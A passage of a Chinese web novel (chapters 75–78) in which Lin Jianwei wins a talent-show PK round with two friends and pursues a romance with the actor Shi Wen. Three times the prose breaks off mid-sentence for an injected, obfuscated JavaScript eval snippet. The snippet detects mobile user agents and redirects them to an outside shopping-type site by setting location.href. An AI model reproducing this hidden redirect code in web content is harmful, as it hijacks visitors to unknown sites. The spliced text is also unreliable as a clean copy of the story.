可是他们的对手,杜之江、钱雯、宫三个人都来自B班。 所以,如果林见微、白濯、唐筱年输了,那就意味着白濯和唐筱年都要掉档到B,林见微保持在D班不动。 如果三人赢了,那林见微可以升级到B班,杜之江、钱雯、宫三人中排名最低的那个掉到去D班。 这对于两队来说都无异于一场风险极高的赌局。 杜之江和钱雯在远处也听见了白濯的决定,心里也算明白了可能的后果,不由得后背发凉。 钱雯是三个人里分数最低的,排在C班,但杜之江和宫都在B班前段,三人的平均评级还在B。 但如果他们输了第三轮的PK,钱雯就要从C掉档到D了。 这意味着新锐的一名选手将要徘徊在随时都能被淘汰的边缘。 这实在太不理想了。 可是PK是她们发起的,从二人组变成三人组也是她们的决定,总不能因为对方选择了林见微,就放弃PK,或者丢掉宫吧。 这也太说不过去了。 杜之江握紧钱雯手掌,默默地表达着鼓励和安慰,宫茫然地站在一旁,还没搞清楚林见微的加入会意味着什么,只是觉得气压突然变低,二人面色突然变得无比凝重。 钱雯可怜巴巴的视线中,林见微接住白濯伸出来的手,用力握了一下。 杜之江&钱雯:“!!不要啊……” 75.七十五 握手的那瞬间,林见微还是问道:“你确定想让我加入你们战队?如果输了,你和唐筱年就都掉到B班了,你们甘心吗?” 白濯大手一挥:“害,想那么多干嘛?我们是来享受比赛的,算来算去脑瓜子疼。” “再说了,掉段又怎样?我和唐筱年难道没实力把成绩追回来?” “反正闲着也是闲着,刚刚第二轮battle没人挑战我,我在这里坐得困得不行,现在正好刺激一下,还有节目效果,一举多得。” 林见微佩服得不行,这境界,这实力,真不是一般人。 她当即作揖:“不愧是濯哥,有气度,受小妹一拜!” 白濯哈哈大笑:“这就叫有气度?我只是懒而已,懒得计较那么多。” 于是林见微、白濯、唐筱年三人就这样愉快地原地成团,杜之江和钱雯那边哀嚎一片,和这边轻松明快的氛围形成鲜明对比。 既然定下了队伍,下一步就是确定演出歌曲和舞蹈。 第三轮不像第二轮,只能battle舞蹈或者唱歌,第三轮要求组成的团队出一个像样的唱跳演出。 白濯和唐筱年是科班出身,从十一二岁开始每天训练大量的男团女团舞,见多识广,艺多不压身,但林见微只会不超过十首曲目。 当林见微表达出这个忧虑时,白濯大手一挥:“那就跳你熟悉的,这都不是事儿!” 唐筱年附和道:“濯哥说得对,跳舞表演重在动作的准确性和流畅感,所以一定要找你熟悉的。” 林见微想了想,突然笑道:“你们会跳《傻傻分不清楚》吗?” 话一出口,白濯和唐筱年都爆发出一阵笑声,周围人好奇侧目,不知情的还以为他们被高强度的录制逼成神经质了。 三人之所以发笑,是因为《傻傻分不清楚》是一首曲风明快,节奏活泼的……儿歌。 不过白濯和唐筱年深想一层,突然觉得这个想法也不是特别不靠谱。 因为《傻傻分不清楚》是尤有芒的单曲,她曾经参演过一个儿童电影,这是里面的主题曲,因为可爱的曲风、简单的歌词、抓耳的旋律而传唱甚广。 幼儿园、游乐场、儿童医院里经常能听到这首歌循环播放。 后来尤有芒还给《傻傻分不清楚》制作了MV,她找了好几个小朋友和她一起舞蹈,视频非常可爱,所以又火了一把。 现在既然有尤有芒作为评委,唱跳她的单曲是个十分新颖的设计,毕竟尤有芒主业是影视,单曲就发过寥寥几首。 白濯想了想,眼睛突然亮了起来:“那就定这首!但是咱们可以改编一下,比如,大劈叉你负责跳前面的基础部分,唐筱年负责扮演可爱的孩子,我把中间的舞步改成酷飒风格,把歌词改成rap,保准闪瞎大家。” 唐筱年也激动不已:“好,好,就这么办。” 林见微脑子里已经浮现出表演可能呈现出的效果,兴奋地把手伸出来,手背朝上。 白濯和唐筱年会意,把手掌叠上来,三人齐喊了声:“加油!” 三人气势太大,杜之江、钱雯、宫回头看过来,脸上的阴沉和这边的喜气盈盈形成鲜明对比。 定下了曲目,林见微、白濯、唐筱年干脆走出观战间,找到一个空屋子排练起来。 排练的过程异常顺利,三人心有灵犀,经常是你上句还没说完,我就接了下句,然后大家一起拍掌大笑。 而且林见微和白濯都属于有些鬼点子的,敢想敢实践,排练过程中不停地冒出新想法,于是简简单单的一支儿童歌曲舞蹈在二人的大胆润色下,渐渐变成了一个新颖有趣,别开生面的节目。 有说有笑间三十分钟就过去了,敞开的门传来咚咚声响,三人回头,只见一个场控小姐姐笑眯眯地温柔道:“时间到了哦,老师们赶紧回去吧,你们是第三个出场。” 出场顺序是按照下战书的时间来排的,先下先比,将早死早超生的精神贯彻到底。 三人回到观战间时,周落已经站在舞台上宣布第一对团体PK即将开始,先上场的是一组友谊赛,所有参赛者都是B班选手,大家只是想增加点曝光度,所以一拍即合上台PK。 刚刚那个场控小姐姐又过来,冲白濯和杜之江道:“去候场吧,马上就到你们了。” 六人会意,纷纷起身,白濯这边依然是一以贯之的欢快氛围,三人打打闹闹有说有笑地往后台走去。 反观杜之江那边,三人面色凝重,路上还在反复商量等下的演出细节,中间夹杂着不少“我觉得这一段应该这么处理”“不行不行,那样的话肯定整段垮掉”。 后台距离观战间不远,走到那里第一组还没比完,第二组人神情严肃地杵在他们前面,一副如临大敌的样子。 看样子还要等至少十几分钟,毕竟表演完还有导师点评,林见微在后台东看看西看看,觉得有些无聊便偷偷拿出手机。 她径直翻开香蕉直播,登陆账号,点开留言板。 过去的半小时,这里又激增了一百多条评论,有褒有贬,许多人都呼唤大劈叉,希望她现身,为大家澄清疑虑。 林见微微笑地读完了最新评论,思忖片刻,然后反手打下一条: [大家好,我回来了。] [消失的这段时间我很想念大家,最近在录节目,过两天直播,具体时间请关注我主页哦] 发完公告就立刻下线,主打一个深藏功与名。 抬头观察比赛情况,此时第一组选手已经完成了PK和导师点评,周落正介绍第二组选手,站在她前面的一群人面容肃穆,有一种要奔赴战场的感觉。 “怎么办好紧张啊!” “我也是,我真的不想掉段呜呜。” “你摸一摸我的手心。” “天啊,怎么这么冰!” 周落:“那么好,下面我们有请第二组的勇士们!” “!¥#@&?!!!!” 前面的一群人立刻开拔,雄不赳赳气不昂昂,哼唧哼唧地上了舞台。 林见微等人默默往前走了几步,现在他们是下一个要上场的,排在他们后面演出的人此时也在他们后方站好了。 后台充满了紧张气氛,即使灯光黑暗,林见微也能感受到周围人急促的呼吸和加快的心跳,不少人小声嘟囔背着歌词,还有人旁若无人地一遍遍练习舞蹈。 反观白濯和唐筱年,二人气定神闲,如闲云野鹤一般,白濯甚至坐在地板上,支着手肘打起瞌睡。 林见微:“……这该死松弛感。” 这时手机突然响了一声,林见微惊了一下,打开一看,一条微信消息横在屏幕上。 演员时闻:[有时间发公告,没时间回我消息?] 林见微:“!” 什么消息,他发消息了? 抬头确认了一下第二组的演出进度,她才点开微信,发现半小时前,时闻果然发来了消息。 他先是发了一张香蕉直播热搜词条“#能不能也派给我一个波波这样的男友?”的截图。 截图里全是艳羡的评论,争着抢着想要一个波波那样的男友。 合上截图,下面是时闻的消息:[所以我这样的男友,你想要吗?] 林见微心神一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783362|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震,一个没拿好,差点把手机摔地上。 首先,这是时闻第一次使用“男友”这么直白露骨的词语。 他这个闷骚老干部,就连刚刚鼓起勇气的表白,也只用了“一路同行”和“左膀右臂”这样隐晦的词汇。 啧啧,平时看上去那么高冷男神,没想到事到临头也是个胆小害羞的主。 “男女朋友”这样的直白的表达实在羞于启齿,所以只敢在文字里表露出来。 其次,他这是在……吃醋吗? 啧啧。 谁能想到,平时那个雪松一般清冷淡漠的人,竟然会和“吃醋”两个字扯上关系。 啧啧。 林见微想了想回道:[你要是能保证一直在我身边,我就想要。] 发完之后她重读了一遍,突然内心大叫一声:想要?想要什么?? 内心啊啊啊地狂叫,林见微想撤回消息,但为时已晚,时闻紧跟着回复道: [我一直都在啊。] [不信你回头。] 林见微:“???回什么头???” 然而她还是转过头,目光在一群神情紧张的选手之间将信将疑地来回游走。 于是下一刻,她突然发现,在一个灯光昏暗的角落里,不知从什么时候开始,竟站着一个身形颀长的男人。 深灰色衬衣在幽暗的光线下隐隐泛着光,清隽的黑眸里目光杳然幽深。 他的唇角微微上扬,噙着一抹温柔的笑,里面还杂着一丝嘲弄。 时闻单手插兜,微倚墙壁,朝她挥了挥手。 然后他低下头,在手机上快速敲下什么,而后抬头笑着看着林见微。 手心里的手机一声响,林见微连忙低头,只见时闻说:[比赛辛苦了,要不要一个鼓励?] 林见微噼啪敲道:[什么鼓励?] 时闻:[你过来就知道了] 林见微:[可是我马上就要上台了!] 时闻:[你队友都不怕,你怕什么?不是说好了,要享受比赛,随便打着玩嘛?] 林见微内心:!!!这都是白濯说的话,他怎么知道??不会在她身上装窃听器了吧?? 顺带低头一看,只见唐筱年也坐到了地上,靠着白濯闭目养神起来。 林见微:………… 似乎是看穿了林见微的疑问,时闻又发来了一条消息。 但是这是一条十几秒的语音。 林见微的内心更崩溃了,他是觉得事情还不够大吗? 且不说他就那样大大方方没戴口罩站在角落里,很有可能被路过的人认出来,她要是外放他的语音消息,万一被附近的选手听音辨人,她要怎么解释! 不是刚刚还密谋过,要严格杜绝在公共场合的互动吗,在人前要保持一米以上的距离吗! 为什么她身边环绕着这些该死的松弛感的人啊。 内心天人交战了好几秒钟,她最终还是妥协地摁下那条语音消息,然后迅速把听筒举到耳边。 毕竟,她也想听到他的声音。 磁性低沉的男音幽幽传来:“嘿嘿,在我哥的休息室里有好几个转播画面,能看到实时录像,无剪辑超详细。” 播完后,林见微立刻观察了一下四周——背歌词的还在背歌词,练舞蹈的还在练舞蹈——才长舒一口气,做贼一样赶紧把手机拿下来。 她又往舞台上看了一眼,第二组选手还在卖力表演着。 白濯和唐筱年还在地上养精蓄锐。 她深吸几口气,又轻叹一声,自嘲地摇了摇头,迈开步伐朝时闻站着的角落走去。 76.七十六 舞台上音乐震天响着,四周人声喧闹,唯独那个角落看上去那么镇人心魄的安静。 时闻站在那里,如定海神针一样,安定了林见微内心所有的纷乱嘈杂和焦虑不安。 那淡然温暖的神色好似在说:没事,还有我呢。 虽然林见微不是一个习惯于依靠他人的人,但此时此刻,她真的很庆幸,这个世界上有这么一个人,愿意尽全力支持她理解她。 这就是幸福的感觉吧,林见微心想。 这感觉太不真实了。 她一步一步朝时闻走去,一股松竹的清冽气息扑面而来,时闻笑着看着她,插在兜里的手拿了出来。 然后他将她揽入怀中。 扑通、扑通,林见微听见自己和他的心跳同频共振。 二人同时屏住呼吸,时闻顺势一转身,带着林见微躲进没有光的角落深处。 这里林见微甚至看不清时闻的模样,但那双闪着光的眸子格外显眼,如夜空里最耀眼的星星。 他的手臂格外有力,他和她紧紧贴在一起。 林见微轻声问道:“所以,你给我的鼓励是一个拥抱?” 对面那双的眸子里明显藏着羞赧和小心翼翼,黑暗中时闻点了点头,轻声回问:“可以吗?” 林见微笑了,而后借助二人深处黑暗看不清彼此的优势,踮起脚尖。 她的身体在他怀里缓缓上移,衣料摩擦发出窸窣声响,黑暗中她好像看见时闻不明所以的样子,那困惑的神情显得可爱极了。 她感受着他微微僵直的身子,然后找准时机,把脸贴了过去。 估算得很准,她的唇正好着陆于他的唇。 时闻的身子猛地一凝,林见微的身子往前倾去,时闻环抱的手臂如机械臂一样僵硬地留在半空。 他的唇很暖很软,让人浮想联翩。 她的吻很香很柔,让人情不能自已。 下一秒,林见微放下脚尖,嘴唇和身子都重新回到原来的位置。 她调皮地看着时闻兀自错愕的神情,如恶作剧成功了一般,心满意足地说:“怎么,之前没干过这事?” 时闻愣住了一般,过了许久才憋出一句:“没有。” 这下轮到林见微震惊了,她不相信地追问道:“那吻戏总拍过吧?” 时闻依然是那副愣住的神情,内心似乎翻江倒海着什么。 最后他还是小声说:“也没拍过。” 林见微:“……………………那对不住咯。” 时闻:……………… 刚刚二人好像进入了真空空间,周遭的一切都变得无声无息,但渐渐的远处的喧闹重新飘入耳中,灯光音效变换连连。 舞台上响起蒋方奇的声音,第二组的表演结束了,他正点评其中一位选手的舞蹈动作。 隐约中甚至能听到白濯正疑问地问四周:“看见大劈叉了吗?” 林见微立刻清醒了一般,抬头道:“我得回去了。” 时闻点点头,却没有松开搂在她腰两侧的手。 林见微撒娇一样说:“你放我去呀。” 时闻这才不舍地放下双手,轻声道:“比赛加油,晚会儿见。” 林见微一边嗯着点头,一边快步朝外面走去,刚走到灯光能照到的地方就有人指着她说:“这不在这儿呢!” 不远处白濯朝她挥手:“你怎么突然消失了?” 林见微心下好笑,明明是你和唐筱年大战在即先睡为敬,这会儿怎么开始着急了。 她回道:“我去后面练练舞蹈动作。” 白濯完全没怀疑,竖起大拇指:“刻苦!比我和唐筱年强。” 林见微苦笑,这时评委点评结束,第二组选手从另一侧退场,周落重新走上舞台。 “那么接下来让我们有请第三组PK的选手,第一位出场的是排在A班的白濯、唐筱年,和排在D班的扬州大劈叉,他们带来的表演曲目是《傻傻分不清楚》。” 话音刚落,评委席上四人脸上显出出奇一致的震惊,而后传来一阵低声议论: “两个A班和一个D班组队?我没听错吧?” “白濯和唐筱年真是艺高人胆大啊!” “他们要表演儿歌?” “是有芒老师的作品啊!” “这将是我今晚最期待的表演,没有之一。” 白濯扭头冲林见微露出一个微笑,低声道:“加油!” 林见微立刻被暖到了,心里感动万分,同时涌起了一股好胜心。 她一定要证明给所有人看,她,林见微/扬州大劈叉,可以的。 她不会辜负任何对她施加善意的人,所有的滴水之恩,她都会用过硬的实力来涌泉相报。 没有什么是她做不到的,只要她想,只要她敢要,她就能得到。 世上无难事,只怕有心人。 无限风景在顶峰。 周落下场,白濯、林见微、唐筱年三人排成一列,快步上场。 站在台中央,炽热的聚光灯从头顶沉沉压下,打在三人脸庞,林见微看到对面的评委席上,时穆飞抱着双臂高傲冷淡审视着她,好像在说:我看你还能搞出什么鬼花样来。 但其他三人都带着和善的笑,尤有芒甚至眼里放光,开心道:“竟然有人会在这个台上表演我的歌诶!太惊喜了,谢谢你们送给我的礼物。” 一旁的时穆飞哼了一声:“话别说太早,谁知道演成什么样子。” 尤有芒如做不察:“不管怎么样,都谢谢你们有心了!” 白濯自信地微笑说:“保准让大家满意。” 周落下台,舞台留给他们三人,白濯冲音乐老师比了个OK的手势,灯光稍稍暗了一点。 可爱的音符从音响里一蹦一跳冒了出来,欢快的前奏瞬间将众人带入了一个童趣十足的世界。 白濯和唐筱年默默后撤一步,将中间的舞台留给林见微。 几个小节过后,林见微迈着俏皮的步子跳动起来,她先模仿了活泼好动的猴子,又模仿起高傲优雅的丹顶鹤,最后化归为一个带着草帽穿着裙子,在游乐场里蹦蹦跳跳的小女孩。 她的本职工作就是演员,所以模仿什么都能抓住精髓,演绎得惟妙惟肖,这一段的舞步其实非常基础,但她丰富的肢体语言和入木三分的模仿让表演一下子变得丰富多彩。 评委席上,尤有芒惊讶得合不拢嘴,她还以为三人会中规中矩地唱完跳完这首歌,没想到他们竟然赋予了这么多巧思和变化,一下子感动得热泪盈眶。 一段表演结束,林见微暂时谢幕,舞台交给唐筱年,他几个大跳华丽亮相,既而欢快地唱了起来: “我们来到动物园,动物园里欢乐多。” “狮子老虎长颈鹿,鸭子天鹅丹顶鹤。” 他摇头晃脑,蹦蹦跳跳,活像一个被动物园迷花了眼的小男孩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788291|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐筱年长得俊美,吹弹可破的皮肤和稍宽的眼距给他增加了幼龄感,潋滟的桃花眼里写满了新奇和童趣。 尤有芒被他可爱到了,一下子从座位上站起来,双手捂在唇边,心都要萌化了:“嗷~好可爱啊!”。 观战间里的选手们也纷纷围在屏幕前,不少女生捂着心口道:“弟弟杀我!” 很快,唐筱年的表演也结束了,他后退一步,舞台交给最后压轴的白濯。 这时,童趣的音乐也逐渐走低,而后渐渐止息,低声和弦挤了进来,灯光也稍稍变暗。 林见微知道,白濯的rap show time要开始了。 下一秒,白濯从后面夸张地迈着大步走上前,眼神冷傲,五指成爪不停向前抓来,活似一个专逮小孩的狼外婆角色。 评委席和观战间里惊声四起:天啊,还可以这样! 白濯舞蹈基础非常扎实,这几步看似随意夸张地走上来,手指看似随便地东抓西探,实际上每一步每一抓都遵循章法,肢体动作非常和谐好看。 走到舞台前方,她突然用了拉丁舞的动作向左转身,动作十分突然,但一旁的林见微立刻默契地假做惊恐状,捂着脸颊仓皇逃走。 白濯又如法炮制向右转身,站在那边的唐筱年也有样学样,惊慌失措连滚带爬地逃到后面去了。 接着白濯又开始了即兴自创的rap: 动物园里有什么 黑鹤黑马黑天鹅 哪里有人间净土 这里寻鬼怪妖魔 她说唱的这部分完美覆盖了原本的唱词,而且嘴里唱着身体也没闲着,白濯将其他一些舞蹈动作拼凑在一起,又即兴自创了几个动作将其连贯起来。 她不愧是舞蹈天才,自小练舞见多识广,现在早就能融会贯通,来自不同曲子的舞蹈动作被她串联得天衣无缝,宛若天成。 评委席上尖叫连连,蒋方奇更是直接起立喝彩,他也是练习生出身,白濯会的舞蹈他也知道,此时见她竟能将不同的动作行云流水般地联结在一起,一个劲地高呼着:“天才!” 之后林见微和唐筱年也重新加入进来,两人仍然扮演天真童趣的孩童角色,而白濯此时竟一反刚刚的暗黑风格,秒变一个欢乐慈祥的小大人,三人手拉手迈着整齐的步伐,欢快地在舞台上左右跳跃。 表演在愉快和谐的氛围中结束,三人谢幕时众人疯狂呐喊,观战间里充斥着“濯哥最帅”“濯哥第一”“濯哥原地出道”的呼号声。 评委席上,蒋方奇自从白濯开始跳舞就再也没坐下过,全程兴奋地鼓掌叫好,此刻更是行礼致敬,大喊道:“白濯,我看好你!” 面对来自观战间和评委席如海浪般的叫好,白濯一再鞠躬致谢,经久不息的掌声足足持续了半分钟才渐渐止息。 掌声刚停,尤有芒便起身地说:“谢谢你们带来的表演,我从来没想过自己的作品可以有这样的演绎。” 白濯笑着指着林见微道:“表演这首歌曲是她的主意,芒星人为了给爱豆打歌真的是什么都会做。” 说完大家都笑了,尤有芒双手举在头顶比□□心:“谢谢,我这辈子最大的收获,就是有了你们这些暖心的芒星人。” 林见微被调起了之前的记忆,想起了两个人都还是不知名小演员的时候一起跑组,屡试屡败的凄惨经历,不由得鼻子一酸。 她看着尤有芒,动情地说:“我们一直都在。” 77.七十七 林见微、白濯、唐筱年的节目获得了评委组的一致好评。 就连一开始冷眼看着的时穆飞后来也不得不承认,三个人是有两把刷子的。 再说了,现场效果已经这么炸裂了,他要是非要逆势而为,可能会被群殴。 时穆飞惜命,所以最后举了8分。 尤有芒和蒋方奇都给了9分,季清云因为觉得演唱处理有些简单,给了8分。 三人下台后,杜之江、钱雯、宫上了台,三人按照之前的思路,演唱了一曲民歌小调。 三人嗓音条件都不错,唱得也好,单独看确实是一个清新的节目。 但是珠玉在前,因为林见微等人的节目效果太炸,杜之江组的表演就很平,没有什么情绪起伏,也没有太多巧思变化,所以最后反响平平。 三人表演完成后,评委组大多最后给出了7.5左右的分数,季清云尤其喜爱宫的嗓音,破天荒给出了8分的成绩。 但最后平均分算下来,林见微组获胜。 结果出来的那一刻,白濯和唐筱年在后天激动地抱起林见微,三人动情相拥,热泪盈眶。 “我们真为你感到高兴,”白濯抱着林见微胳膊哽咽道,“你要加油!” 林见微头埋在白濯身前,带着哭腔说:“谢谢你们对我的信任和支持,我一定会一直一直加油的!” 第三轮battle尘埃落定后,林见微成功荣升B班,因为PK失利,钱雯掉到了D班。 白濯、唐筱年留在A班不动,杜之江和宫留在B班不动。 邓舒华因为PK掉了李颂一成功晋级A班,而李颂一则去了B班。 此一役大获全胜,林见微不仅成功拿到了晋级名额,而且是以如此荣光的方式,以B班的评级高分晋级。 不止如此,她还收获了白濯、唐筱年这样愿意无条件支持她的好友。 她和谷煜的世纪难题也解决了:大劈叉的直播账号终于解封,而谷煜也成功拿回了本属于他的冠名权。 最最重要的是,她还收获了一分可遇而不可求,现在思之仍觉不可思议的,爱情。 她现在是真的很快乐,走路都觉得飘在云层上。 上辈子从来没有这么快乐过。 她现在开始感谢上天让她从一代影后突然变成了一百零十八线主播扬州大劈叉,虽然是天崩开局,中间吃了好些苦,但现在回过头看,一切都值得了。 她,林见微,扬州大劈叉,无论怎么活,都可以活出最精彩的样子! 节目最后在凌晨2点钟结束了录制,一连录了十几个小时,晋级的100位选手都哈欠连天,迫不及待地想要回去睡觉。 但周扒皮节目组在录制结束后无情地通知她们,接下来只有十二个小时的假期,第二天下午,她们就要入住宿舍,当天晚上就要开始分班训练。 其实这些流程之前也发到众人邮箱了,但大家听到复述,还是哀鸿遍野。 说是第二天下午入住宿舍,但其实早上就要爬起来化妆、采访、走流程,算上通勤的时间,今晚能睡五个小时就不错了。 都听说过综艺节目强度大,但亲身体验过才知道,这真是地狱强度。 不过林见微倒没觉得怎样,毕竟之前拍戏和这个半斤八两,凌晨匆匆睡个把小时,早上天不亮就爬起来化妆、背词、商量走位、串戏,然后等着。 有的时候要不吃不喝不敢去厕所,干等七八个小时才能等到一天的第一场戏,拍不到半小时再继续等着。 每次收工都到后半夜了,然后赶紧卸妆睡觉,没过几个小时又是新的一天,周而复始,天天如此,月月如此,年年如此。 所以她倒是很淡定,甚至在盘算着能不能第二天上午挤出时间搞个直播。 许多选手都是从外地过来的,公司提前租好了宾馆,所以大家聊了一会儿天后都结伴回去了。 林见微是个特殊情况,没公司,但好在住在本地,所以她随便收拾了一下,和白濯、唐筱年、邓舒华、钱雯等人打了招呼后,坐着电梯下楼,打算打个车回去。 夜晚的风透着丝丝凉意,整座城市好像睡着了一样,安静空旷,能听见很远处汽车行驶的声音。 天空是澄澈的墨蓝色,缀着几颗很大很亮的星,林见微贪婪地呼吸着清新的空气,沿着街道漫步起来。 她其实很喜欢这座城市的深夜,万籁俱寂,就连最繁华的市中心也沉稳下来,只有霓虹灯静静闪烁。 只有这个时候,她才觉得自己在这座城面前没有那么渺小,她也在这里拥有一方之地。 正想着自己的事,前方突然响起几声喇叭声,一束白光穿透黑夜。 林见微惊讶抬头,发现一辆熟悉的黑色迈巴赫停在街角。 车窗缓缓落下,露出时闻那张噙着笑的脸。 “尾号2592?”时闻的声音在寂静的夜晚显得格外嘹亮。 林见微哈哈笑了,而后朝迈巴赫走去,趴在降下的车窗,偏头看着时闻:“师傅你是不是搞错了,我没打豪华车啊?” 时闻看了一眼手机,坚定地摇头:“错不了,从今以后这就是你的专属座驾,上车吧!” 林见微笑着拉开车门,一屁股坐进来。 几缕幽凉的风追了进来,松竹的清冽气息萦绕鼻间,一切都是那么惬意舒适。 汽车无声无息启动,林见微将车窗打开一条缝,带着城市气息的夜晚的风吹进头发,带走了一天的疲惫。 两人随意地聊着天,时闻问她比赛怎么样,但其实他早就偷潜进时穆飞的休息室,把每个摄像机录制到的画面都事无巨细地看了一遍。 走过若干路口,林见微突然问道:“诶你好像绕远了,从那边上立交桥比较近。” 时闻嘴角浮起一抹意味深长的笑,修长的手指淡然握着方向盘,嗓音低沉地说:“谁说我要送你回去了?” 林见微大惊,转头盯着时闻——他好像在认真看路,但嘴角早就挂起一副诡计得逞的笑。 “你是黑车啊??”林见微叫道,音调都提高了八度。 时闻嘿嘿一笑:“黑车是收钱的,我又不收,”说着打起转向灯,语调也跟着一转,“但我要收点别的东西。” 林见微:“???” 十分钟后,锦鑫花园楼下,时闻熟练地把车停到地下车库。 然后他下车,绕到林见微那一侧,非常绅士地为她打开车门。 林见微没好气地双臂抱在胸前下了车。 她本想着可以回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795049|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的小窝,打开空调,洗个热水澡,头上包着毛巾看会儿短视频吃点宵夜,然后吹头发钻进被窝睡觉。 她连空调调到多少度,吃什么宵夜都想好了,结果尼玛被黑车载到了这个鬼地方? 她非常不满地质问道:“为什么要带我来你家?” 时闻笑嘻嘻地锁了车,带着她走到电梯间:“我家离节目录制的地方比较近啊,这样你可以多睡一会儿。” 林见微:“我和你住的地方,也就隔了几个马路!” 时闻:“能近一点是一点嘛。” 林见微:“可是我还没有卸妆,还没有吃宵夜,也没有洗澡……” 叮的一声电梯来了,时闻示意她进去,然后摁下楼层:“放心,我都准备好了。” 下了电梯走进时闻家,熟悉的感觉扑面而来,柔和的灯光铺洒在淡色原木家具上,木地板上纤尘不染,空气中漂浮着淡淡的清香。 时闻带着林见微走到洗漱区,蹲下去在洗手池下的柜子里翻找一番,再次起身时手里捧着一个椭圆编织木筐,里面摆满了各色各样的瓶瓶罐罐。 林见微着实吃了一惊,快速扫过去,这里面的东西又杂又全:各个牌子的卸妆水、卸妆油、卸妆棉,还有各种洗护用品,外加抹脸的水、乳、油、精华,应有尽有。 而且最关键的是,瓶瓶罐罐颜色都挺亮丽的,一看就是女士用品。 林见微看了好一会儿,才抬头道:“…………货挺齐全的。在这里留宿过不少女孩子?” 时闻连忙解释道:“你别误会,这些都是新买的,连封口都没拆,不信你看。” 说着他拧开一瓶精华水的瓶盖,果然,封口有个白色小圆板挡住了里面的液体。 时闻:“我照着我姐姐护肤的程序列了个清单,然后把市面上比较火的都买回来了,而且因为不知道你是什么肤质,我把适合干皮的、混干的、混油的、油皮的都买了。” “你忘了之前我们还商量着要做室友来着?那个时候我就开始准备这些了。” 林见微不得不赞叹他的心细,十分感动地说:“谢谢!” 而后直接挑挑拣拣起来:“我是混油的肤质。” 时闻立刻上手,把那些只适合干性肤质的产品都挑了出去。 林见微看着他那熟稔的样子,赞叹道:“你还挺识货。” 时闻笑道:“我不是盲买的,都做了研究,看了用户反馈,确定好评率高才下单的,因为来回来去看了好些资料,所以哪瓶是做什么的,适合什么肤质,我都记得一清二楚。” 林见微竖起大拇指:“记忆力真好。” 时闻把用不到的瓶瓶罐罐都一股脑收到水池下面的柜子里,然后示范了淋浴的用法,又指着架子上那一溜洗发产品: “洗发水护发素我也都换了,那些男士的洗发产品可能不适合你。” 林见微满意地说:“谢谢你,真是太细心了。” 时闻又保姆式地把毛巾、吹风机、准备好的睡衣都拿了出来:“我能想到的就这些了,缺什么你告诉我,我明天就下单。” 林见微看了一圈,想了半晌,而后右手叉腰,左手支在墙壁上,状似漫不经心地问: “那洗完澡后,我睡哪儿?” 78.七十八 不大的洗手间里灯光明亮,两个人近在咫尺,能听得见彼此的略微急促呼吸,能看清每一根微微颤动的睫毛。 时闻笑了笑:“你睡我那里,我去次卧睡。” 林见微:“没事,我去次卧吧。” 时闻摇头:“次卧还没收拾好,现在只有一张行军床,让你过去实在太委屈你了,你辛苦一天了,今晚得好好睡一觉。” 林见微想了想,点头同意:“行,那今晚我就去你卧室。” 时闻如释重负地嗯了一声:“好,那你赶紧洗漱吧,我去外面待着。” 说着他头也不回地往外走,出门时把洗手间的门轻轻关上。 洗手间里弥漫着淡淡柑橘味道的清香,洗漱池、马桶、浴室都纤尘不染,林见微看着门把手,犹豫要不要把门反锁,但想来想去直接脱下衣服,走进浴室。 旋开水龙头,热水当头浇下肆意冲刷着全身,林见微在水流下静静地站了几分钟,只觉全身的疲惫都暂时消失了,畅意十足。 洗发、护发、打沐浴露,所有的固定流程都走完后,她用浴巾将全身裹住,又开始固定的护肤步骤。 时闻的品味还是很不错的,采买的护肤品里有不少是林见微之前用过的觉得合适的,当然自从她变成大劈叉后就再也买不起了。 用了好几周大宝,突然换回贵妇套装,每个毛孔都激动地尽情舒张,久旱逢甘霖一样尽情汲取着每一分营养。 正抹着脸,外面突然响起电话铃声,时闻接起,而后断断续续听见他说: “……你安全到了就好……我知道之前说好是我送你回去,但计划有变,我只能提前走……你为什么非要坐地铁末班车回郊区呢,那当然累死了……哦你家司机请假了……” “……怎么追女生?我怎么会知道这个?……要不你问问AI?它们什么都懂……” “……有芒是个容易害羞的人,你策略错了……但我怎么知道什么是对的策略……” “………你要是在AI里面查到了什么有用的,可以告诉我,我帮你,呃,梳理梳理……” 林见微不由得噗嗤一笑,不用问,肯定是谷煜那个倒霉家伙表白失败,大半夜找时闻倒苦水。 在洗手间里等了一会儿,确定时闻和谷煜打完了电话,林见微才开始穿衣服。 时闻给她准备好了深灰色睡衣,但她拿起来的时候才发现,这好像是他自己的睡衣。 林见微:“??” 不过这个时候也不能光着出去找时闻问个清楚,裹着大毛巾出去也显得不太合适…… 林见微想来想去,还是穿上了时闻的睡衣。 